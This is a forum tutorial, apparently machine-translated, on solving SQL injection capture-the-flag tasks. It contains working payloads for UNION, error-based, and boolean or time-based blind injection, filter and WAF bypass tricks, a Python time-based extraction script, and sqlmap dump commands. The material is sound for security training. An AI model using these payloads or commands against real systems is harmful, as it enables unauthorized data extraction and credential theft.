SQL injection in CTF: from search to sqlmap

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
422
Reaction score
682
Deposit
0$
Manual detection of sql injection in CTF assignment

Searching for sql injections manually starts with one symbol – a single quotation mark. There is a form of login, search field or GET-parameter like ?id=1 – insert ' and look at the server reaction. It's not "try luck" is a diagnosis. By the nature of the response, the type of injection and DBMS is determined.

In OWASP Top 10 (2021), Injection vulnerabilities are in third place (A03:2021). SQL injection is a classic of the genre: custom input enters the SQL request without validation. According to Vaadata, for 2023 alone, SQL injections lit up at 2,159 CVEs. On CTF, it is a first-trial skill, and in combat conditions, SQL injection is one of the main vectors of initial access: in terms of MITRE ATT&CK, this is the Exploit Public-Facing Application (T1190, Initial Access). The result is to pull data from the database (T1213.006, Collection) or get to the account (T1552.001, Credential Access).
Quotation and server response classification

Enter ' in the parameter - ?id=1'. Then three scenarios, and each dictates the strategy.

The server gives the database error. This is an error-based sqli. Typical markers: You have an error in your SQL syntax (MySQL), unterminated quoted string at or near (PostgreSQL), ORA-01756 (Oracle), [Microsoft][ODBC SQL Server Driver] (MSSQL). According to the error format, the DBMS is determined - without this, you can not choose the right payload.

The answer has changed, but there is no mistake. Most likely boolean-based blind sqli. The page looks different: the content, the other title, the other HTTP code are missing. Check: compare the answers to ?id=1 AND 1=1-- (normal) and ?id=1 AND 1=2-- (should be different).

The answer is identical. Time-based blind sqli remains. Check with delay: ?id=1' AND SLEEP(5)-- for MySQL, ?id=1'; WAITFOR DELAY '0:0:5'-- for MSSQL, ?id=1' AND pg_sleep(5)-- for PostgreSQL. The answer came in five seconds, the injection confirmed.

At this stage you already know the type of injection and DBMS. This information is then transmitted by sqlmap through --dbms and --technique, and he doesn't spend thousands of requests to guess.
Determining the number of columns for UNION

If the server returns the data in the response (not blind), the next step is UNION SELECT. But first you need to find out the number of columns in the original request, otherwise the DBMS will swear at the mismatch.

Two approaches. Both workers, but the applicability depends on filtering.

ORDER BY – select the column number until you get a mistake. ?id=1 ORDER BY 1--, ORDER BY 2--, ORDER BY 3--... Once the server has returned the error, the previous number is the number of columns. ORDER BY 4-- Falls, so columns are three.

UNION SELECT NULL – add NULLs until the request passes. ?id=1 UNION SELECT NULL-- → error, ?id=1 UNION SELECT NULL,NULL-- → error, ?id=1 UNION SELECT NULL,NULL,NULL-- → ok → columns three. This method on CTF is more reliable: ORDER BY sometimes filtered, and NULL is not tied to the type of data.
Union select injection: step-by-step operation

UNION SELECT injection is the most frequent type of sql injection in ctf. Works when the result of the SQL query is displayed on the page. The goal is to “trail” your SELECT to the original request and pull the data out of arbitrary tables.
Extracting metadata through information_schema

The number of columns is known (suppose three). Now you need to understand which one is displayed on the page. Sending:

?id=-1 UNION SELECT 1,2,3--

id=-1 guarantees that the original request will not return anything (non-existent ID), and only the substitute values will appear on the page. See the number "2" - the second column is displayed in response. It is in it that you will insert sub-queries.

List of tables in MySQL: ?id=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--. GROUP_CONCAT glues all the names of the tables into one line through the comma - it is more convenient than pulling one by one.

Table columns of a specific table: ?id=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'--.

On PostgreSQL instead information_schema.tables can be used pg_catalog.pg_tables, and on SQLite – sqlite_master with request SELECT name FROM sqlite_master WHERE type='table'. You have already determined the type of DBMS at the stage of diagnosis.
Bypassing the filtering of quotes and spaces

On CTF tasks of medium complexity filter the obvious symbols. Here are the typical situations and how to bypass them.

Filtering quotes. If ' shielded through addslashes() – use hex-coding. Instead of WHERE table_name='users' Write WHERE table_name=0x7573657273. MySQL interprets hex as a string without quotations. One of the most frequent appointments on the CTF.

Filtering gaps. Replace with comments: SELECT/**/flag/**/FROM/**/flag. Or to line transfers: SELECT%0aflag%0aFROM%0aflag. In MySQL works and tabulation: SELECT%09flag%09FROM%09flag.

SELECT/UNION keyword filtering. Register-dependent filter? Change the register: SeLeCt, uNiOn. Does the filter delete the word (replace on the blank line)? Invest: SELSELECTECT – after removal of the internal SELECT will remain SELECT. Rough, but it works.

Multibyte encoding. On GBK encoding tasks addslashes() and magic_quotes_gpc bypass multi-byte symbols. Byte reverse slash (0x5c) is “absorbed” by the previous byte of the GBK symbol, freeing the quote. The symbol 乗 (code 0x815c) in combination with ' forms a sequence where the sleeze from addslashes() becomes part of a legitimate GBK symbol, and the quote remains free. Cunning, yeah.
Blind sqli in CTF: boolean and time-based techniques

Blind sqli — when the server does not show data from the request directly. The result is determined indirectly: by changing the answer or by delay. Slower than UNION, but works in more cases.
Boolean-based blind sqli

The server responds differently to a “true” and a “false” request. Classics: ?id=1 AND 1=1-- returns a normal page, ?id=1 AND 1=2-- empty or error.

This allows you to ask the server yes/no questions and manually pull data. Template: ?id=1 AND (SELECT SUBSTRING(flag,1,1) FROM flag)='s'--. The first symbol of the flag is s? The page is normal. No, the answer will change.

To accelerate, binary search instead of a complete overkill. Check: SUBSTRING(flag,1,1) > 'm' – if TRUE, symbol in the upper half of the alphabet. Then > 's', > 'p' and so on. Instead of 62+ requests for a symbol (all letters, numbers, special symbols) is enough 6-7. The flag of 30 characters has 200 requests instead of 1800+. The difference between “decided in 10 minutes” and “did not have time until the end of the CTF.”
Time-based blind sqli and script automation

Time-based blind sqli is the slowest but most reliable type. It works even when the server response does not change visually at all. All information through delays.

Template for MySQL: ?id=1 AND IF(SUBSTRING((SELECT flag FROM flag),1,1)='s',SLEEP(5),0)--. The first symbol s – the server responds in 5 seconds. No, instantly.

It is impossible to do it with your hands. Here is the minimum Python script:

import requests, string

url = "http://target.ctf/page"
flag = ""
for pos in range(1, 50):
for char in string.printable:
payload = f"1 AND IF(SUBSTRING((SELECT flag FROM flag),{pos},1)='{char}',SLEEP(3),0)-- -"
try:
requests.get(url, params={"id": payload}, timeout=2)
except requests.exceptions.Timeout:
flag += char
print(f"[+] {flag}")
break

Logic: script sends request with SLEEP(3) and puts a timeout 2 seconds. requests.get did not wait for the answer, so, SLEEP(3) worked and symbol guessed. This is a basic example for understanding the concept. In combat CTF, it is worth adding binary search, processing of unstable network (repeated queries) and dynamic timeout.
Error-based sqli: When the server helps the attacker

Error-based sqli works when the server outputs detailed DBMS errors. Faster UNION (no need to determine the number of columns) and an order of magnitude faster blind - the data comes entirely in the text of the error.

For MySQL classic payload via extractvalue(): ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT flag FROM flag)))--. The server will return the error XPATH syntax error: ':флаг_тут'. Data is directly in the error text. The beauty.

Restriction: extractvalue() gives a maximum of 32 characters. Flag longer – use SUBSTRING: concat(0x3a,SUBSTRING((SELECT flag FROM flag),10,32)) – will return the symbols from the tenth. Similarly works updatexml(): ?id=1 AND updatexml(1,concat(0x3a,(SELECT flag FROM flag)),1)--.

In PostgreSQL for error-based sqli use type-bringing: ?id=1 AND 1=CAST((SELECT flag FROM flag) AS int)--. The database tries to bring the line to number, breaks and displays the contents of the line in the error message. PostgreSQL gives you the flag itself - you just need to ask for the right.

On CTF error-based sqli is less common UNION, but when it comes to - it is solved faster than all other types.
Automation of sql injections with sqlmap for CTF

Manual search for sql injections gives an understanding of mechanics. But on the CTF, where time is limited, automation of sql injections through sqlmap saves tens of minutes. Sqlmap supports six operating techniques : boolean-based blind, time-based, error-based, UNION query-based, stacked queries and out-of-band. Works with MySQL, PostgreSQL, Oracle, MSSQL, SQLite, MariaDB and a bunch of more databases.

The main rule I put in practice: sqlmap is an operation tool, not a detection. First, find the injection with your hands (quotation mark, answer analysis), determine the type - then run sqlmap with specific parameters. Without --dbms and --technique sqlmap generates thousands of unnecessary requests, and on unstable CTF servers, this results in timeouts and false negative results.
Basic commands and workflow sqlmap for CTF

A typical sequence for a CTF assignment where you have already found an injection in ?id=1' with MySQL error:

Confirmation and Type Definition: python sqlmap.py -u "http://target.ctf/page?id=1" --dbms=mysql --batch. --batch answers all questions automatically, --dbms=mysql limits the verification of one database.

List of databases: add --dbs to the previous team.

List of tables: python sqlmap.py -u "http://target.ctf/page?id=1" --dbms=mysql -D ctf_db --tables --batch. -D indicates the base.

List of columns: -D ctf_db -T users --columns.

Data dump: -D ctf_db -T flag -C flag --dump.

If the injection in the POST parameter (login form), use --data: python sqlmap.py -u "http://target.ctf/login" --data="username=admin&password=test" -p username --batch. -p Specifies the test parameter.

To transfer the saved HTTP request from Burp Suite: python sqlmap.py -r request.txt --batch. Sqlmap will analyze the titles, cookies and parameters. On CTF this is the fastest way - you do not need to copy cookies and titles with your hands.

Choosing a specific technique: --technique=U (UNION), --technique=B (boolean-blind) --technique=T (time-blind), --technique=E (error-based). Default – BEUSTQ (All six). Specifying a specific technique, when the type is already known, reduces the running time of sqlmap at times.
Bypassing WAF sql-injection: tamper-scripts sqlmap

On advanced web ctf tasks put WAF or custom filtering: block SELECT, UNION, gaps, quotes, comments. Sqlmap for CTF offers tamper scripts—modules that modify every payload before shipment.

python sqlmap.py -u "http://target.ctf/page?id=1" \
--tamper=space2comment,randomcase \
--dbms=mysql --batch --dbs
Full workflow: from Burp Suite to flag

Final build – what does the CTF task solution look like from start to finish.

Intelligence. Open the task, find input points: GET parameters, POST forms, cookies, HTTP headers. Start the Burp Suite and proxy traffic.

Hand check. In Burp Repeater frame ' in each parameter. Analyze: database error, content change, delay.

Classification. Define the type (UNION, blind, error-based) and database (MySQL, PostgreSQL, SQLite, MSSQL) by response format.

manual operation. For UNION: define columns through ORDER BY or NULL, extract information_schema, find the flag table. For blind: confirm the type and write the script or go to sqlmap.

Automation. Save HTTP request from Burp via Copy to file, transmit to sqlmap: python sqlmap.py -r request.txt --dbms=mysql --technique=U --batch --dump.

Bypassing the filtering. Sqlmap does not find injection — add --tamper, raise --level and --risk, specify a specific parameter through -p.

This workflow closes the vast majority of web ctf tasks with SQL injections in 10-20 minutes. Non-standard cases – multibyte coding (GBK), second-order injection (payload is stored in database and triggered later), the injection in ORDER BY without UNION – requires a separate approach, but the basic diagnosis is the same: quotation, response analysis, classification.

Most CTF players are divided into two camps: some try to solve everything with their hands and spend an hour on blind sqli with a binary search, others immediately launch sqlmap -u ... --dump and wonder why the tool doesn’t work without --dbms and --technique. Both strategies are losing. Manual search is a diagnosis. Sqlmap is a scalpel for operation. One without the other works badly.

In my experience, the most sustainable skill is switching between modes. Two minutes at Burp Repeater give information that saves sqlmap tens of thousands of extra requests. And sqlmap per minute pulls data that would manually have to collect half an hour. The skill is developed only by practice on a variety of tasks - one type of injection is not enough. CTF tasks for sql injection are shifted from UNION to blind every year and from pure injection to combined chains: SQLi + SSRF, SQLi + deserization, SQLi through HTTP headers. If the entire arsenal is limited ' OR 1=1--, in a year half of the web-tasks will be unsolved. On WAPT in Codeby, this progression takes place in two modules, from basic injections to WAF bypass with a lab for each case.
 
Top Bottom